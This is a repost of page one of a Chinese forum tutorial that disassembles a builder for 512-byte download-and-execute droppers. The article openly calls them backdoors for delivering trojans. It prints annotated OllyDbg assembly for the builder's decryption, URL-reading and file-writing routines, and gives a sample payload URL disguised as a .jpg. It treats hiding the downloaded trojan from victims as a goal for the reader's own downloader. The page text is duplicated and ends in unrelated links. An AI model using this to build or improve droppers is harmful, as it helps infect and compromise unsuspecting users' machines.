简单分析""冰狐浪子下载运行512生成器
来源:百度文库 编辑:神马文学网 时间:2024/04/26 20:02:47
简单分析"冰狐浪子下载运行512生成器
文章作者:NGAUT 文章来源:看雪论坛 发布时间:2005-07-04 00:11:08
——兼谈编写属于自己的downloader
我现在的理想是教书育人,不要觉得奇怪,估计你也感到现在太多的垃圾老师了。所以我想做的是取代他们。这就是我尽己所能写点好文章的原因。
感谢冰狐浪子提供如此优秀的作品
本文的测试平台为winxp sp1,没有在其它的系统上测试,可能由于align:512选项不能在98下运行。这次逆向工程的对象是:"冰狐浪子下载运行512生成器", 在众多的downloader中,个人觉得这个工具是最理想的(仅仅从下载和执行功能上来看),生成的"冰狐downRun512.exe"仅有512字节(大概是最小的啦)。后门嘛,当然越小越好拉。
1."冰狐浪子下载运行512生成器"的使用方法:
把Url.txt文件中的网址改为你要下载并运行的程序的下载地址
[注意:网址长度不能大于53个字符,并且Url.txt中不要有网址以外的其他多余的字符如回车]
然后运行<<冰狐浪子下载运行512生成器.exe>>
你将在同目录下得到一个大小仅仅为512字节的<<冰狐downRun512.exe>>
冰狐downRun512.exe可以下载并且执行URL中对应的程序。
2."冰狐浪子下载运行512生成器"的缺陷(纯粹个人看法)
注意:作者提到长度不大于53个个字符,并且Url.txt中不要有网址以外的其他多余的字符如回车。
等会儿我会从汇编代码级分析为什么要有这样的限制。以及如何在我们自己写的downloader中突破这样的限制。另外该软件的缺陷是:只能下载到当前目录,这不是把我们辛辛苦苦从网上下载的木马暴露在使用者的面前吗?在我们自己写的downloader中一定要避免这个问题,
也就是允许用户指定下载的文件的存放路径。
3.本文使用的工具:
ollydbg1.0中文修改版,Microsoft Visual C++ 6.0,Hex Workshop 4.2。
为什么不用IDA,因为IDA太慢了,以前试用过2次,实在慢得无法忍受。再说了,一般情况下ollydbg就够用,而且速度飞快。Hex Workshop用于比较文件,和查找字符串的偏移量,以及测试我们的分析是否正确。
4.反汇编代码分析:
如果你有一点点汇编和c语言基础,知道几个API,那么下面的分析应该是种享受,因为冰狐浪子下载运行512生成器好象是用汇编语言编写的,结构清晰,反汇编的代码可读性级佳,很值得学习。特别适合于学习win32汇编。
下面的分析使用的是作者发布的程序中自带的URL.txt,
文件存放的URL是:"http://www.godog.y365.com/cs/icyfox.jpg"。好了,开始享受代码吧:
下面第一段代码是程序入口,解密从401000开始的0x200(512)个字节,也就是生成的“冰狐downRun512”的大部分二进制代码,为什么是大部分,而不是全部呢?因为还有URL是可变的,需要通过URL.txt来读取,还有生成的文件名“冰狐downRun512”也是要读取的。
解密512个字节,刚好是生成的"冰狐downRun512.exe"的大小,不是巧合哦
0040121F 冰>/$ B9 00020000 mov ecx,200 ; 0x200即十进制的512
00401224 |. 8D35 001040>lea esi,dword ptr ds:[401000]
0040122A |. 8D3D 001040>lea edi,dword ptr ds:[401000]
00401230 |> AC /lods byte ptr ds:[esi]
00401231 |. F6D0 |not al ;解密方法:取反
00401233 |. AA |stos byte ptr es:[edi] ;再保存回去
00401234 |.^ E2 FA \loopd short 冰狐浪子.00401230 ;循环解密
检测当前目录下是否存在"url.txt"
00401236 |. 6A 00 push 0 ; /hTemplateFile = NULL
00401238 |. 68 80000000 push 80 ; |Attributes = NORMAL
0040123D |. 6A 03 push 3 ; |Mode = OPEN_EXISTING
0040123F |. 6A 00 push 0 ; |pSecurity = NULL
00401241 |. 6A 01 push 1 ; |ShareMode = FILE_SHARE_READ
00401243 |. 68 00000080 push 80000000 ; |Access = GENERIC_READ
00401248 |. 68 04124000 PUSH bh.00401204 ; |FileName = "url.txt",通过读取00401204处的字符串作为要读取的文件名
0040124D |. E8 82000000 call ; \CreateFileA
00401252 |. 83F8 FF cmp eax,-1 ; 检测当前目录下是否有url.txt
00401255 |. 74 6F je short 冰狐浪子.004012C6 ; 没有,则程序退出
读取"url.txt"中的0x35即53个字节,还记得前面提到的53个字节的限制吗?就体现在这里了。
00401257 |. 8BD8 mov ebx,eax
00401259 |. 6A 00 push 0 ; /pOverlapped = NULL
0040125B |. 68 00124000 push 冰狐浪子.00401200 ; |pBytesRead = 冰狐浪子.00401200
00401260 |. 6A 35 push 35 ; |BytesToRead = 35 (也就是十进制的53)
00401262 |. 68 06104000 push 冰狐浪子.00401006 ; |Buffer = 冰狐浪子.00401006
00401267 |. 53 push ebx ; |hFile
00401268 |. E8 73000000 call ; \ReadFile
0040126D |. 53 push ebx ; /hObject
0040126E |. E8 5B000000 call ; \CloseHandle
这4句把从"url.txt"中的0x35即53个字节URL进行取反加密,加密长度为把URL的长度
00401273 |. 8B0D 001240>mov ecx,dword ptr ds:[401200] ; 把URL的长度放到ecx
00401279 |. 8D35 061040>lea esi,dword ptr ds:[401006] ;注意这个地址401006,到最后生成的"冰狐downRun512.exe"
其文件偏移量是6,后面写自己的downloader时需要定位到相应的地方
0040127F |. 8D3D 061040>lea edi,dword ptr ds:[401006]
00401285 |> AC /lods byte ptr ds:[esi] ;
00401286 |. F6D0 |not al
00401288 |. AA |stos byte ptr es:[edi]
00401289 |.^ E2 FA \loopd short 冰狐浪子.00401285
调用CreateFileA创建 "冰狐downRun512.exe"
0040128B |. 6A 00 push 0 ; /hTemplateFile = NULL
0040128D |. 68 80000080 push 80000080 ; |Attributes = NORMAL|WRITE_THROUGH
00401292 |. 6A 02 push 2 ; |Mode = CREATE_ALWAYS
00401294 |. 6A 00 push 0 ; |pSecurity = NULL
00401296 |. 6A 00 push 0 ; |ShareMode = 0
00401298 |. 68 00000040 push 40000000 ; |Access = GENERIC_WRITE
0040129D |. 68 0C124000 push 冰狐浪子.0040120C ; |FileName = "冰狐downRun512.exe"
004012A2 |. E8 2D000000 call ; \CreateFileA
写入0x200即512字节
004012A7 |. 8BD8 mov ebx,eax ;
004012A9 |. 6A 00 push 0 ; /pOverlapped = NULL
004012AB |. 68 00124000 push 冰狐浪子.00401200 ; |pBytesWritten = 冰狐浪子.00401200
004012B0 |. 68 00020000 push 200 ; |nBytesToWrite = 200 (512.)
004012B5 |. 68 00104000 push 冰狐浪子.00401000 ; |Buffer = 冰狐浪子.00401000 和00401200的距离是0x200即512个字节
分页:[1] 2 3 4
文章作者:NGAUT 文章来源:看雪论坛 发布时间:2005-07-04 00:11:08
——兼谈编写属于自己的downloader
我现在的理想是教书育人,不要觉得奇怪,估计你也感到现在太多的垃圾老师了。所以我想做的是取代他们。这就是我尽己所能写点好文章的原因。
感谢冰狐浪子提供如此优秀的作品
本文的测试平台为winxp sp1,没有在其它的系统上测试,可能由于align:512选项不能在98下运行。这次逆向工程的对象是:"冰狐浪子下载运行512生成器", 在众多的downloader中,个人觉得这个工具是最理想的(仅仅从下载和执行功能上来看),生成的"冰狐downRun512.exe"仅有512字节(大概是最小的啦)。后门嘛,当然越小越好拉。
1."冰狐浪子下载运行512生成器"的使用方法:
把Url.txt文件中的网址改为你要下载并运行的程序的下载地址
[注意:网址长度不能大于53个字符,并且Url.txt中不要有网址以外的其他多余的字符如回车]
然后运行<<冰狐浪子下载运行512生成器.exe>>
你将在同目录下得到一个大小仅仅为512字节的<<冰狐downRun512.exe>>
冰狐downRun512.exe可以下载并且执行URL中对应的程序。
2."冰狐浪子下载运行512生成器"的缺陷(纯粹个人看法)
注意:作者提到长度不大于53个个字符,并且Url.txt中不要有网址以外的其他多余的字符如回车。
等会儿我会从汇编代码级分析为什么要有这样的限制。以及如何在我们自己写的downloader中突破这样的限制。另外该软件的缺陷是:只能下载到当前目录,这不是把我们辛辛苦苦从网上下载的木马暴露在使用者的面前吗?在我们自己写的downloader中一定要避免这个问题,
也就是允许用户指定下载的文件的存放路径。
3.本文使用的工具:
ollydbg1.0中文修改版,Microsoft Visual C++ 6.0,Hex Workshop 4.2。
为什么不用IDA,因为IDA太慢了,以前试用过2次,实在慢得无法忍受。再说了,一般情况下ollydbg就够用,而且速度飞快。Hex Workshop用于比较文件,和查找字符串的偏移量,以及测试我们的分析是否正确。
4.反汇编代码分析:
如果你有一点点汇编和c语言基础,知道几个API,那么下面的分析应该是种享受,因为冰狐浪子下载运行512生成器好象是用汇编语言编写的,结构清晰,反汇编的代码可读性级佳,很值得学习。特别适合于学习win32汇编。
下面的分析使用的是作者发布的程序中自带的URL.txt,
文件存放的URL是:"http://www.godog.y365.com/cs/icyfox.jpg"。好了,开始享受代码吧:
下面第一段代码是程序入口,解密从401000开始的0x200(512)个字节,也就是生成的“冰狐downRun512”的大部分二进制代码,为什么是大部分,而不是全部呢?因为还有URL是可变的,需要通过URL.txt来读取,还有生成的文件名“冰狐downRun512”也是要读取的。
解密512个字节,刚好是生成的"冰狐downRun512.exe"的大小,不是巧合哦
0040121F 冰>/$ B9 00020000 mov ecx,200 ; 0x200即十进制的512
00401224 |. 8D35 001040>lea esi,dword ptr ds:[401000]
0040122A |. 8D3D 001040>lea edi,dword ptr ds:[401000]
00401230 |> AC /lods byte ptr ds:[esi]
00401231 |. F6D0 |not al ;解密方法:取反
00401233 |. AA |stos byte ptr es:[edi] ;再保存回去
00401234 |.^ E2 FA \loopd short 冰狐浪子.00401230 ;循环解密
检测当前目录下是否存在"url.txt"
00401236 |. 6A 00 push 0 ; /hTemplateFile = NULL
00401238 |. 68 80000000 push 80 ; |Attributes = NORMAL
0040123D |. 6A 03 push 3 ; |Mode = OPEN_EXISTING
0040123F |. 6A 00 push 0 ; |pSecurity = NULL
00401241 |. 6A 01 push 1 ; |ShareMode = FILE_SHARE_READ
00401243 |. 68 00000080 push 80000000 ; |Access = GENERIC_READ
00401248 |. 68 04124000 PUSH bh.00401204 ; |FileName = "url.txt",通过读取00401204处的字符串作为要读取的文件名
0040124D |. E8 82000000 call
00401252 |. 83F8 FF cmp eax,-1 ; 检测当前目录下是否有url.txt
00401255 |. 74 6F je short 冰狐浪子.004012C6 ; 没有,则程序退出
读取"url.txt"中的0x35即53个字节,还记得前面提到的53个字节的限制吗?就体现在这里了。
00401257 |. 8BD8 mov ebx,eax
00401259 |. 6A 00 push 0 ; /pOverlapped = NULL
0040125B |. 68 00124000 push 冰狐浪子.00401200 ; |pBytesRead = 冰狐浪子.00401200
00401260 |. 6A 35 push 35 ; |BytesToRead = 35 (也就是十进制的53)
00401262 |. 68 06104000 push 冰狐浪子.00401006 ; |Buffer = 冰狐浪子.00401006
00401267 |. 53 push ebx ; |hFile
00401268 |. E8 73000000 call
0040126D |. 53 push ebx ; /hObject
0040126E |. E8 5B000000 call
这4句把从"url.txt"中的0x35即53个字节URL进行取反加密,加密长度为把URL的长度
00401273 |. 8B0D 001240>mov ecx,dword ptr ds:[401200] ; 把URL的长度放到ecx
00401279 |. 8D35 061040>lea esi,dword ptr ds:[401006] ;注意这个地址401006,到最后生成的"冰狐downRun512.exe"
其文件偏移量是6,后面写自己的downloader时需要定位到相应的地方
0040127F |. 8D3D 061040>lea edi,dword ptr ds:[401006]
00401285 |> AC /lods byte ptr ds:[esi] ;
00401286 |. F6D0 |not al
00401288 |. AA |stos byte ptr es:[edi]
00401289 |.^ E2 FA \loopd short 冰狐浪子.00401285
调用CreateFileA创建 "冰狐downRun512.exe"
0040128B |. 6A 00 push 0 ; /hTemplateFile = NULL
0040128D |. 68 80000080 push 80000080 ; |Attributes = NORMAL|WRITE_THROUGH
00401292 |. 6A 02 push 2 ; |Mode = CREATE_ALWAYS
00401294 |. 6A 00 push 0 ; |pSecurity = NULL
00401296 |. 6A 00 push 0 ; |ShareMode = 0
00401298 |. 68 00000040 push 40000000 ; |Access = GENERIC_WRITE
0040129D |. 68 0C124000 push 冰狐浪子.0040120C ; |FileName = "冰狐downRun512.exe"
004012A2 |. E8 2D000000 call
写入0x200即512字节
004012A7 |. 8BD8 mov ebx,eax ;
004012A9 |. 6A 00 push 0 ; /pOverlapped = NULL
004012AB |. 68 00124000 push 冰狐浪子.00401200 ; |pBytesWritten = 冰狐浪子.00401200
004012B0 |. 68 00020000 push 200 ; |nBytesToWrite = 200 (512.)
004012B5 |. 68 00104000 push 冰狐浪子.00401000 ; |Buffer = 冰狐浪子.00401000 和00401200的距离是0x200即512个字节
分页:[1] 2 3 4
简单分析""冰狐浪子下载运行512生成器
SYSTEM32下文件的简单说明 - Windows - IT浪子
后市股指运行分析
锅炉运行费用分析
浪子心声
浪子心声 -
浪子情怀
什么是浪子
江湖浪子
网游市场简单分析
简单财务报告分析方法
四柱纯阴八字简单分析
网游市场简单分析
中国建材行业运行分析及2007展望
Linux 运行时内核分析(二版)
英国社会保障制度框架和运行效果分析
中国建材行业运行分析及2007展望
量能分析:直击资金运行方向
分体式太阳热水器运行分析
国庆前大盘运行轨迹分析
2010前三季度电力运行分析
超级搞笑证件生成器V1.0版 (小路全功能绿色免费版) - 私房软件分享区联想资源分享下载...
下载视频文件的简单方法?
下载视频文件的简单方法?